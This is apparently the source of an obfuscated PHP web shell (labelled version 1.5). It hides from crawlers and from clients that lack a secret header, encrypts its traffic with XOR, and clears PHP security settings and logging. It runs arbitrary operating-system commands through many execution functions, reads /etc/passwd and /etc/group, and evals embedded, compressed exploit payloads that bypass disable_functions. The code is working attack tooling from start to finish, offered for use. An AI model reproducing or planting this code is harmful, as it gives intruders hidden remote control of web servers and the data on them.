true, 'THEME' => 'crimson_editor', 'MODE' => 'php', 'URL' => 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.37.0/ace.js'); $GLOBALS['DEBUG'] = (isset($GLOBALS['DEBUG']) ? $GLOBALS['DEBUG'] : false); filterClient(); decodeRequest(); checkAuth(); function checkAuth(){ if(!$GLOBALS['PASSHASH']) return setEncKey(); $loginWithPass = (isset($_REQUEST['pass']) && hash($GLOBALS['HASHTYPE'], $_REQUEST['pass']) === $GLOBALS['PASSHASH']); $encKeyWithPass = ($GLOBALS['ENCKEY'] === genEncKey($GLOBALS['PASSHASH'])); if($loginWithPass) setEncKey($GLOBALS['PASSHASH']); elseif($encKeyWithPass) setEncKey(); else loginFormOut(); } function getEncKey(){ $len = $GLOBALS['PRELEN']; foreach($_REQUEST as $k => &$v){ $pref = strrev(substr($k, 0, $len)); $post = substr($k, $len, $len); if($pref === $post){ $eKey = $v; unset($_REQUEST[$k]); $GLOBALS['ENCKEY'] = base64_decode($eKey); return $GLOBALS['ENCKEY']; } } return false; } function genEncKey($str){ return base64_encode(hash($GLOBALS['HASHTYPE'], ($GLOBALS['REMOTE_ADDR'] ? $_SERVER['REMOTE_ADDR'] : '').$str.__FILE__)); } function setEncKey($pass = ''){ if(!$pass && $GLOBALS['ENCKEY']) return $GLOBALS['ENCKEY']; $eKey = genEncKey($pass); $GLOBALS['ENCKEY'] = $eKey; return $eKey; } function mergeRequestVars(){ $vars = array('_FILES','_COOKIE','_REQUEST'); foreach($vars as $var) if(isset($GLOBALS[$var])) foreach($GLOBALS[$var] as $k => &$v) $_REQUEST[$k] = &$GLOBALS[$var][$k]; } function decodeRequest(){ mergeRequestVars(); $GLOBALS['PRELEN'] = getPreLen(); if(!$GLOBALS['ENCKEY'] = getEncKey()) $GLOBALS['ENCKEY'] = setEncKey(); $_REQUEST = decodeInput($_REQUEST); } function getPreLen(){ return (substr(array_sum(str_split(hash($GLOBALS['HASHTYPE'], __FILE__))), -1) + 5); } function filterClient(){ $secretHeader = isset($_SERVER['HTTP_'.$GLOBALS['SECHEAD']]); $crawlerBot = preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT']); if($crawlerBot || !$secretHeader) exit(header('HTTP/1.1 404 Not Found')); } function loginFormOut(){ $html = '
'.paramsHandlerJS().''; exit(makeOut($html)); } function scriptInit(){ if(!isset($GLOBALS['DEBUG'])) return; define('D', $GLOBALS['DEBUG']); set_time_limit(D ? 15 : 0); error_reporting(D ? E_ALL : 0); ini_set('display_errors', D ? 'On' : 'Off'); ini_set('max_execution_time', D ? 15 : 0); ini_set('error_log', NULL); ini_set('log_errors', 0); } function decodeInput(&$arr){ $str = ''; foreach($arr as $k => $v){ $key = getName($k); if(!strlen($key)) continue; $str .= $key.'='.urlencode(getValue($v)).'&'; unset($arr[$k]); } parse_str($str, $dec); return array_merge($arr, $dec); } function xorStr($str, $decode = false) { $key = $GLOBALS['ENCKEY']; $key_len = strlen($key); $str = (!$decode ? rawurlencode($str) : $str); for($i = 0; $i < strlen($str); $i++) $str[$i] = $str[$i] ^ $key[$i % $key_len]; $str = ($decode ? rawurldecode($str) : $str); return $str; } function ascii2hex($ascii) { $hex = ''; for ($i = 0; $i < strlen($ascii); $i++) { $byte = strtoupper(dechex(ord($ascii[$i]))); $byte = str_repeat('0', 2 - strlen($byte)).$byte; $hex.=$byte; } return $hex; } function hex2ascii($hex){ $ascii=''; $hex=str_replace(" ", "", $hex); for($i=0; $i var ENCKEY = atob("'.base64_encode($GLOBALS['ENCKEY']).'"); var PRELEN = '.$GLOBALS['PRELEN'].'; invertColors('.($GLOBALS['DARK'] ? '':'"#divTrm"').'); cookieVarSetup(); startEventsListners(); function startEventsListners(){ var elements = document.getElementsByTagName("*"); for(var i=0;i0xFF) c -= 0x350; hex += (c.toString(16).length === 1 ? "0" : "") + c.toString(16); } return hex; } function login(form){ addEncKey(form); form.pass.value = setValue(form.pass.value); form.pass.name = setName(form.pass.name); if(COOKIE) submitViaCookie(form); else return true; return false; } function hex2bin(hex) { var bin = ""; for (var i=0; i0x7F) c += 0x350; bin += String.fromCharCode(c); } return bin; } function xorStr(str, decode = false) { str = (!decode ? encodeURIComponent(str) : str); str = str.split(""); key = ENCKEY.split(""); var str_len = str.length; var key_len = key.length; var String_fromCharCode = String.fromCharCode; for(var i = 0; i < str_len; i++) { str[i] = String_fromCharCode(str[i].charCodeAt(0) ^ key[i % key_len].charCodeAt(0)); } str = str.join(""); if(decode){ try{ str = decodeURIComponent(str); } catch(e){ str = unescape(str); } } return str; } function setName(str){ str = bin2hex(xorStr(str)); pref = ENCKEY.substr(0, PRELEN); return pref + str; } function setValue(str){ return btoa(xorStr(str)); } function getValue(str){ return xorStr(atob(str), true); } function addEncKey(form){ var encKey = document.createElement("input"); encKey.type = "hidden"; pref = ENCKEY.substr(0, PRELEN); encKey.name = pref.split("").reverse().join("") + pref; encKey.value = btoa(ENCKEY); form.appendChild(encKey); return form; } function fixFileName(str, len = false){ str = str.split(/(\\\\|\\/)/g).pop(); if(len) str = str.substring(0, len); return str; } function getParentFormOf(element){ while(element.tagName != "FORM") element = element.parentElement; return element; } function prepareFile(input){ var file = input; form = getParentFormOf(input); form.enctype = "application/x-www-form-urlencoded"; if(file.files.length){ var reader = new FileReader(); reader.onload = function(e){ filename = fixFileName(input.value); wwwFile = document.createElement("input"); wwwFile.type = "hidden"; wwwFile.id = input.name; wwwFile.name = input.name + "["+filename+"]"; wwwFile.value = e.target.result; if(e.target.result.length <= 2097152) form.appendChild(wwwFile); else if(confirm("Request size is ~" + Math.round(((e.target.result.length * 2) / 1024) / 1024) + "M, but limits is often around <= 8M. There is no guarantee that the file will be uploaded.\nYou can disable request encoding, use other upload methods or select a smaller file. Continue?")) form.appendChild(wwwFile); else return false; uplFiles(); elements = form.getElementsByTagName("*"); for(var i = 0; i < elements.length; i++) if(elements[i].type === "hidden") form.removeChild(elements[i]); }; reader.readAsDataURL(file.files[0]); return reader; } } function deleteAllCookies() { var cookies = document.cookie.split(";"); for (var i = 0; i < cookies.length; i++) { var cookie = cookies[i]; var eqPos = cookie.indexOf("="); var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie; document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT"; } return false; } function submitViaCookie(encodedForm, refresh = true){ var reqlen = 0; var elements = encodedForm.getElementsByTagName("*"); for(i = 0; i < elements.length; i++) { if(!elements[i].name) continue; name = elements[i].name; value = encodeURIComponent(elements[i].value); if((value.length + value.length) > 4095 || reqlen > 7696){ if(confirm("The request header is too big, send it via POST?")){ deleteAllCookies(); return false; } else{ deleteAllCookies(); return "CANCEL"; } } document.cookie = name + "=" + value; reqlen = reqlen + name.length + value.length; } if(refresh) window.location = window.location.pathname; else return "SEND"; } function invertColors(name = "html") { const head = document.head; let style = document.getElementById("invertColors"); if (!style) { style = document.createElement("style"); style.id = "invertColors"; head.appendChild(style); } const isInverted = style.dataset.inverted === "true"; style.dataset.inverted = !isInverted; style.textContent = `${name} { filter: invert(${isInverted ? 0 : 90}%); }`; return false; } '; } function makeOut($str){ return (c('')); } function f($f, $d = false){ $r = rand(0,1); return ($r ? (rand(0,1) && !$d ? f('self') : ($r && !$d ? f('top') : f('document'))).'['.i($f, 1, 3).']' : ($d ? f('document').'.'.$f : $f)); } function i($s, $m, $x){ $s = str_split($s, rand($m, $x)); if($m > 50) $s[0] = trim(i($s[0], 1, 5, true), '"\''); return implode('+', array_map(function($k){$r = date('H') > 12; return ($r ? '"' : '\'').$k.($r ? '"' : '\'');}, $s)); } function c($s = '', $n = 0){ $r = array('/', '>', '*'); return (rand($n, 1) ? ''.(strlen($s) ? $s.(rand(0, 1) ? ''."\n" : '') : '') : $s); } function j($a = 0){ $l = rand(10, 100); while(!isset($c[$l])) @$c .= chr($a ? rand(32, 126) : rand(1, 127)); if(rand(0, 1)) return "//".str_replace(array("\r","\n"), "", $c)."\n"; else return "/*".preg_replace("|\*/|","", $c)."*/"; } function t($s, $n = false){ if(!function_exists('token_get_all')) return $s; $s = ($n ? ' ((strpos(php_sapi_name(), 'fpm') !== false) && is_int(array_search(true, array_map(function($f){if(function_exists($f)) return true;}, array('mail', 'error_log', 'imap_mail','mb_send_mail'))))), 'r' => 'execFPM($'.$c.')', 'c' =>'eJyNV21T20YQ/kxn+h8ORZmTMopkAyaEhFAGTPBMwK5x0ukkmRtZOmEVWdJIMoG2/Pfu7t35BZu2Mj7f7T63t7valyOZ5VGTFjmT9zI6H1w6djSN3b9+/mnLrmTNjlgSZrV8B2v4SxPHTsopUG9kg2CXkFt2PR2EzQToaZ4K4Dm8lnk8DdNMlMDgLgrYUtDJeZpJgDppLX5UaROOM+lwn7vsmAlx1hsKwQ5Z/VCjINHIaSnitIKjfB5wfxp3nCadSliTTHt6e56FNyAPOVq6T0YQP4GlKGeNiIq8kXlTG4zH+IvtYJzmQT3hvvUtt3z+gnFfC1QUlONz9gHpapuSGk2mRbyQ1HrT6SyZWE5KbaPRh/tA488ppPGg0ftjmLPjD8phJCwqYpTEcbElq6qoRCXLomrS/MZpqVO30O01uN1SgKy4sUCrp0wgCwLUhqv4iZPoKBDyPq1BJaueyCwTGBOW6xLKxMOC41hzr/jc0ocZidtpjWfiJh0kYHpRyTCaOGFVhQ+OheEBiqzobKXTsBSKY03HAsNILV0W1sxGRbU+m/RWfHMe6Ixrp+3BR+sHzxi0uDWrR/p95NoZeB5lAYS5x8azNIsHYXSrop3ehccW78vEhPuOwbO83+THmgzO4TVz3Eop4y6Fjc43jA+M/KcBa97XLM/S/NZZiUdD05oR8VFFUCWbWZUzZ7tuqrKo6Y3A8SrKMefo3EOV57jxEY8xjv3fLmDgc3SCXRIWDGmKGneg861v960WfNv6d+1L0bO83adS0qRhlv4pB2EVTrUwBcNHRdFijQ8fdn/93L0eicvu6KJ/xtkRpO7H7oh7T3DX3eGX7lAMhv1R/7T/SQEvRqNB0Pbba+iPJ6Pubye/i97VqDs8PzntKvzpx95GuBZ+dXKpgVkRhdmkqJs1KB4pLvrXo/8CDruX/VFXnJydDRW0vfPGb8Fnw/Gnw95gJM57n7pzFeYv7Al2cDEAmZe9K/Hl5NNnhf2jSHMHy5+30ce0L8yy4oeYVZlI8yibxfKI+yo4IKJ4P+cQUbyfJNz1NuyO0xqrvjBRVh8hdBOyKGUuxmEtoQU8CwpnTSFKqIpYLDB/VpSJwyY89LgPysociY4us/IuzByUvb8nYkkcqGiaoKEkxcXyBjmOdRntIqOweKx2ueVTTZsDdDCrq6CmRqPR7HXDXqfcXTXFXVrr6YasmGfV3r8xO6pYIFvnv0at5bcpVNTx7yBtMSIgeq97/SusIjZahnVJhQIP7sIqqGZ5AB4MsJaReRS36yxDeAanupx9J6vFAfbd19Z3KCv448PYpnFnEwnH3e9YToNXMHa4xzv+Lo17NCrKPoxv8Ou3aGzTuEPjLo2IPiDuAXEPiHtA3APgvgqUokXZLBRVJOhdeYGNHiZQYLFRc926TbfTHsTuhTOXzRlkONJh4jIS//U7CkOcz/HK4CPP56+hHfl1Ed3yuSKEXFSBw7etVmvtaNIYT4AJtc3FDe4XUFeGU4FSsdtkKTQbh7aAn9k2CA845k8TlYdBQAk9y9N7nLs+wjymzPeM9R5r68uCCTo4SnUtTTCXydUYXG26OlL1zXIiw1jFhz0u4oe5g6llJnCPqp9sI+aPCSSfs53IQtlrrgQ2tEm8TSUQ9mbjXuvtvrkpAVohjpj1rYIS6LKl28JcGUg1whH5UbXl9SO1xv5zxyVRVtRSgbVJJv+N/1DAmrs2NUY7jckFuF6EKJCw+pHTyANLMUlIDI1b+UAdAqrhTGqv0y5QHH3qWKdXlgevF8qng2jXc9rv3++2XfY3M2S1WV/JzW4EP6EQTt9OFmGh6xYZsaeVXr+KLKPs5qGUC/MsSxWw+eWjLqs0bxIHbx7tl9HiQ7cNKt9KBM3SmAVsp7MPAmH6kqZ0m9PWkT4Gskp8DvySHQDR1Ogl3dALCHm3SoPdeK+XYUM6g47OmkBX/1ewuaz/A3c4q58='); $pocs['mm0r1_filter'] = array('v' => ($v >= 70000 && $v <= 70234 || $v >= 70300 && $v <= 70333 || $v >= 70400 && $v <= 70425 || $v > 80000 && $v < 80013), 'r' => 'pwn($'.$c.')', 'c' => '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'); $pocs['mm0r1_concat'] = array('v' => ($v == 80013 && $v == 80014 || $v > 80100 && $v < 80120), 'r' => 'new Pwn($'.$c.')', 'c' =>'eNqtV1tvo0YUfs+vmFrIgpqswE5tJw6pvE20SS/ZNJc+rGuhMQxrEgzWABtnt/7vPTNcPAwQZ6taijwx53zn/s3BCXAco0sSrAlF39A6XQS+gxSsI2UBf84EbQ8cLnPzHKJvBwg+ThTGCfrl8uH6N/t8ej+1764+XSALGZuhMalJ5A8/XVyf2+cX7x8+2O8frn4/Rz+jmATeyYmM0wOcvoFOmh+L+Hf3t1fXHwoDzWiHgGaO4cucHAiql/c7p01zPJEeNQAXGjXAPGVeGjqJH4XItjkOTZ1EVZyVq+VZYx8voqriM6sTBN+nyOSHXk8UYh/lM42i1WxemsdBEDlqdhbc0yZvV6sGJmhuy1N5UCAGByc2xGFj16UlIPzQXycQRbL048OzJcFrOyD4SdV0ZA4FUMXzg+AN7u8UMkS8cL4jaAXECwdrPvcqPZF1j2zOo4SoJYqIXATIJ8NCIXnOx2Qn43sqGAtIqO6c16Cq0CGDwUiuKSVJSkMx7c3GAAbsdQJCks6kTWQBIkXLqcoGbG1bZR3e5h4hrocdIuYgk7CXOHQDQmOWxEyVksCmBLuqUSmRE0RxSkmZcVkYBrdR3iGiNEhWkdjIm4aQ/B3CAse+Y7NIBe8+k8QWHqiCnYr5r75nxy9xQlZV3ew3VQSv6Hn4CbByzMjzeP5GxqR9jlnFx/zcs9C4Ns27PD1TP4GGq1noga7+aooUX2uc2TeBG5vBGAZUR0dii+d1ZzIxSSCcm8sb+4/prx9v7b8ubu+uPl4jy4J4gKtZ/MDJQPHjyfeZlqzoYlnas150WDnfPdQcFyPvdodYR+oN0EIWVHmytIy23wDbgpiGEGcdNhPIp35N/S84IbtrQ2BSoXsUTFkaZrO5jmbz+c4GWLAJpVE5vGrJBhpKY4LULtPVUVdZpF6tITNYU7o9QJJxL/AnJWuCE7Xz98YwOjrad4FUGJnSmTlH7/aQONygOXd2ppTil47Y3RlVcodez1pO3yz/YtbW+CWIsAvBrLHzpHb+/BGCMDYuzNWCEI+dHeyRBV4QKKPM/IX2u2oupi2J2EVSaGqNVPb/lJJ9FWb+Y1ULfSCE/UXsbDqvl6BkfyUbcNGrvI6NqwNMNuQ+19lvIieYkkS+4CBlxQuRRLjAzahKzkrYsmSVjsxyXE6zbHtyluAnN4G67O705EUre3Z2BsZlUm6PgiWJNVuT2w0cYxp5c2ZLp3hB5vYtVN0/ygVCqywpYO0HK7NXaHYtpJro9BSxh/A10DS+0woXSzGEXOH1ArVdqhUmyxldeL5z0o3k2ng2CRP6Iu8N0qzmoiFe1TaMHEBHQ0meJaRQsfhbizv8aXQ0GoyORwO5R8REyH5At4wl7K00kFzK4m80Qpug56UfkNJFXhxD25/iys4jk16GCe8dpM4LvIf4u45Rz4UcFlsS8sxMx6jbreXDD23MKFttysgRU9drOuwz6xvm2BgNYA2B07FxbPTZqW8YxwODn0z221xrKoKyitw0ILxutf1TsJ/voK+py5oycoM6y1MFIWuco1F/aA6PhmRosgZq8ntPA4G74wZ725auqjBMnOBEfPPMblol9r+SJhKGCyBepp4HXSJfa5lOtQNl9JK+4QAaa0awjUTGIiNxzAm4ujE/ssyHGc/AP2cZRT8eHjZ2LMM4Pa0QbOXZPxaKqMv9mYE7QN2P88YNuUh/rlhEuT34F11ikeU='); foreach($pocs as $pocname => $poc) { if(!$poc['v']) continue; switch($cmd){ case 'check': return $pocname; break; default: ob_start(); eval('$'.$c.' = \'(echo "via '.$pocname.':";'.addslashes($cmd).') 2>&1\';echo '.$poc['r'].';'.gzuncompress(base64_decode($poc['c']))); $res = ob_get_contents(); ob_end_clean(); if(strpos($res, $pocname)) return $res; } } return (isset($res) ? $c.' for '.$v.' fails ;( ' : false); } # # # $ini = array( 'disable_classes' => '', 'disable_functions' => '', 'display_errors' => 0, 'enable_post_data_reading' => 1, 'error_log' => '', 'error_reporting' => 0, 'file_uploads' => 1, 'log_errors' => 0, 'log_errors_max_len' => -1, 'magic_quotes_gpc' => 0, 'magic_quotes_runtime' => 0, 'magic_quotes_sybase' => 0, 'max_execution_time' => 0, 'memory_limit' => '1024M', 'open_basedir' => '', 'safe_mode' => 0, 'safe_mode_exec_dir' => ''); $sysini = ini_get_all(); foreach($ini as $k => $v) if(isset($sysini[$k]) && $sysini[$k]['access'] == 7) ini_set($k, $v); scriptInit(); function unQuote($a){ foreach($a as $k => $v) if(is_array($v)) $a[$k] = unQuote($v); else $a[$k] = stripslashes($v); return $a; } function prepVals(&$a,$k){ foreach($a as $i => $v) if(is_array($v)) prepVals($a[$i],$k); elseif(strlen($v)>2){ $r = ''; $v = explode($k, $v); for($n = count($v)-1; $n>=0; --$n){ $c = array_pop($v); if($c === '') $c = $k; if($n%2 === 0) $r .= $c; else $r = $c.$r; } $a[$i]=$r; } } if(defined('CED')) $D = unserialize(pack('H*', CED)); else{ if(isset($_REQUEST['a'])) $D=$_REQUEST; elseif(isset($_REQUEST['a'])) $D=$_REQUEST; else $D=array(); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) $D = unQuote($D); if(isset($D['k'])){ $k = $D['k']; unset($D['k']); prepVals($D,$k); } } $C = array(''=>'UTF-8','UTF-16','Windows-1250','Windows-1251','Windows-1252','Windows-1254','Windows-1256','Windows-1257','ISO-8859-1','ISO-8859-2','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-13','Big5','GBK','Shift_JIS','EUC-KR','EUC-JP','IBM866','KOI8-R','KOI8-U',); define('VER', '1.5'); define('DSC', DIRECTORY_SEPARATOR); define('NIX', DSC === '/'); define('RO', isset($D['ro']) ? true : false); define('TM', isset($D['tm']) ? true : false); define('CSE', isset($D['c']) ? $C[$D['c']]:'UTF-8'); ob_end_clean(); if(!RO) ob_start(); if(!defined('CED')){ if(isset($D['a'])){ $md5 = md5(rand(0, 777777)); if(isset($D['d'])){ if($D['a']==='f'){ if(is_array($D['d'])){ $D['DBP'] = samePath($D['d']); $n = $md5.'.zip'; } elseif(is_dir($D['d'])) $n = $md5.'.zip'; else $n = fileName($D['d']); $n = escFileName($n); } else $n = $md5.'.zip'; header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.$n.(RO ? '' : '.gz').'"'); } else{ header('Content-Type: application/json; charset='.CSE); } } else header('Content-Type: text/html; charset='.CSE); } function escHTML($v){ return str_replace(array('&','"','<','>'), array('&','"','<','>'), $v); } function selfPath(){ if(isset($_SERVER['SCRIPT_FILENAME'])) return filePath($_SERVER['SCRIPT_FILENAME']); if(isset($_SERVER['DOCUMENT_ROOT'])) return substr($_SERVER['DOCUMENT_ROOT'],-1) === DSC ? $_SERVER['DOCUMENT_ROOT'] : $_SERVER['DOCUMENT_ROOT'].DSC; if(PHP_VERSION >= '5.3') return substr(__DIR__,-1) === DSC ? __DIR__ : __DIR__.DSC; return filePath(__FILE__); } function filePath($p){ $p = rtrim($p, DSC); return implode(DSC, array_slice(explode(DSC,$p), 0, -1)).DSC; } function fileName($p){ $p=rtrim($p, DSC); $i=strrpos($p, DSC); return $i=== FALSE ? $p : substr($p,$i+1); } function writeFile($p,$c){ if($v = fopen($p,'wb')){ flock($v,LOCK_EX); fwrite($v,$c); fflush($v); flock($v,LOCK_UN); fclose($v); return TRUE; } if(PHP_VERSION>='5'){ $v = file_put_contents($p,$c); if(is_int($v)) return TRUE; } if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){ try{ $v = new SplFileObject($p,'wb'); } catch(Exception $e ){ $v=FALSE; } if($v){ $v->flock(LOCK_EX); $v->fwrite($c); $v->fflush(); $v->flock(LOCK_UN); unset($v); return TRUE; } } endif; return FALSE; } function tempName(){ $a = 'poiuytrewqlkjhgfdsamnbvcxzMNBVCXZLKJHGFDSAPOIUYTREWQ0987654321'; $v = '.'; for($i = 0; $i < 8; ++$i) $v .= $a[rand(0,61)]; return $v.'.tmp'; } function tempFile($v){ if(($n = tempnam(NIX ? '/tmp' : 'c:\\Temp', '')) && (writeFile($n, $v))) return $n; $a = array('upload_tmp_dir','session.save_path','user_dir','doc_root'); foreach($a as $k) if($n = ini_get($k)){ $n .= DSC.tempName(); if(writeFile($n, $v)) return $n; } $n = selfPath().tempName(); if(writeFile($n, $v)) return $n; return FALSE; } function getFile($p){ $v = NULL; if($v = fopen($p,'rb')){ $r = ''; while(!feof($v)) $r .= fread($v, 1048576); fclose($v); return $r; } if(PHP_VERSION >= '4.3'){ $v = file_get_contents($p); if(is_string($v)) return $v; } $v = file($p); if(is_array($v)) return implode('',$v); if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){ try{ $v = new SplFileObject($p,'rb'); } catch(Exception $e){ $v = FALSE; } if($v){ $r = ''; while(!$v->eof()) $r .= $v->fgets(); unset($v); return$r; } } endif; if(RO && defined('FORCE_GZIP')){ if($v = gzopen($p)){ $r=''; while(!gzeof($v)) $r .= gzread($v, 1048576); gzclose($v); return $r; } $v = gzfile($p); if(is_array($v)) return implode('',$v); } if(RO && $v=ob_start()){ if(is_int(readfile($p)) || copy($p, 'php://output') || (defined('FORCE_GZIP') && is_int(readgzfile($p)))){ $r = ob_get_contents(); ob_end_clean(); return $r; } ob_end_clean(); } return FALSE; } function delFile($p){ return (unlink($p) || (NIX && rename($p,'/dev/null') && !is_file($p) && !file_exists($p))); } function nesc($v){ return "'".str_replace("'", '\'"\'"\'', $v)."'"; } function wesc($v){ return str_replace(array('^', '&', '\\', '<', '>', '|'), array('^^', '^&', '^\\', '^<', '^>', '^|'), $v); } function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') { $se = '2>' . ($se ? '&1' : (NIX ? '/dev/null' : 'nul')) . $or; if (NIX) $sc = 'echo ' . nesc($cmd) . '|' . ($sh === '' ? '$0' : $sh) . ' ' . $se . ' & exit'; else $sc = ($sh === '' ? '(' . $cmd . ')' : $sh . ' /C ' . wesc($cmd) . ' ') . $se; switch ($fnc) { case 0: system($sc); break; case 1: passthru($sc); break; case 2: echo `$sc`; break; case 3: echo shell_exec($sc); break; case 4: $r = NULL; exec($sc, $r); if (is_array($r)) foreach ($r as $v) echo $v, "\n"; break; case 5: if ($h = popen($sc, 'r')) { while (!feof($h)) echo fread($h, 1024); pclose($h); } break; case 6: if($h = proc_open($sc,array(array('pipe','r'), array('pipe','w'), array('pipe','a')),$p)){ echo stream_get_contents($p[1]); fclose($p[0]); fclose($p[1]); proc_close($h); } break; case 7: if ($h = new COM('WScript.Shell')) echo $h->Exec(($sh === '' ? 'cmd' : $sh) . ' /C ' . $cmd . ' ' . $se)->StdOut->ReadAll(); break; case 101: echo safemode($cmd); } } function uName($id){ if($id === -1) return'?'; static $a = NULL, $f = FALSE; if($a === NULL){ if($v = getFile('/etc/passwd')){ $a = array(); $v = explode("\n", $v); foreach($v as $i) if($i){ $i = explode(':',$i,4); $a[$i[2]]=$i[0]; } } elseif(defined('POSIX_F_OK') || function_exists('posix_getpwuid')) $f = (bool)posix_getpwuid(0); } if($a) if(isset($a[$id])) return $a[$id]; elseif($f) if($v = posix_getpwuid($id)) return $v['name']; return $id; } function gName($id){ if($id === -1) return'?'; static $a = NULL, $f = FALSE; if($a === NULL){ if($v = getFile('/etc/group')){ $a = array(); $v = explode("\n",$v); foreach($v as$i) if($i){ $i = explode(':', $i, 4); $a[$i[2]] = $i[0]; } } elseif(defined('POSIX_F_OK') || function_exists('posix_getgrgid')) $f = (bool)posix_getgrgid(0); } if($a) if(isset($a[$id])) return $a[$id]; elseif($f) if($v = posix_getgrgid($id)) return $v['name']; return$id; } function getINI($s, &$v){ $v = trim(ini_get($s)); return $v!==''; } function isINI($v){ $v = strtolower(trim(ini_get($v))); return ($v === '1' || $v === 'on'); } function samePath($a){ $p = NULL; foreach($a as $v){ $v = array_slice(explode(DSC, rtrim($v,DSC)), 0, -1); if($p === NULL) $p = $v; else{ $k=array(); $c=count($p); $i=count($v); if($i < $c) $c=$i; for($i=0; $i < $c; ++$i) if($p[$i] === $v[$i]) $k[] = $p[$i]; else break; $p = $k; if($i===0) break; } } return count($p) === 0 ? '': implode(DSC, $p).DSC; } function escFileName($v){ return str_replace(array('%','/','\\',':','*','?','"','<','>','|'), array('%25',"\xe2\x95\xb1","\xe2\x95\xb2","\xea\x9e\x89","\xe2\x88\x97", '%3F', "\xe2\x80\x9f", '%3C', '%3E',"\xe2\x88\xa3"), $v); } function infMain($h = FALSE){ echo $h ? '' : ''; foreach(array('Open basedir' => 'open_basedir', 'Disabled functions' => 'disable_functions', 'Disabled classes' => 'disable_classes') as $k => $v){ if(!getINI($v, $v)) $v = '-'; echo $h ? ''; else jsonEcho($v);} if(getINI('suhosin.simulation', $v)){ echo $h ? ''; else jsonEcho($v); foreach(array('Functions whitelist' => 'suhosin.executor.func.whitelist', 'Functions blacklist' => 'suhosin.executor.func.blacklist', 'Eval whitelist' => 'suhosin.executor.eval.whitelist', 'Eval blacklist' => 'suhosin.executor.eval.blacklist') as $k => $v){ if(!getINI($v, $v)) $v = '-'; echo $h ? ''; else jsonEcho($v); } $a = array('eval' => 'suhosin.executor.disable_eval', '/e modifier' => 'suhosin.executor.disable_emodifier'); $i = array(); 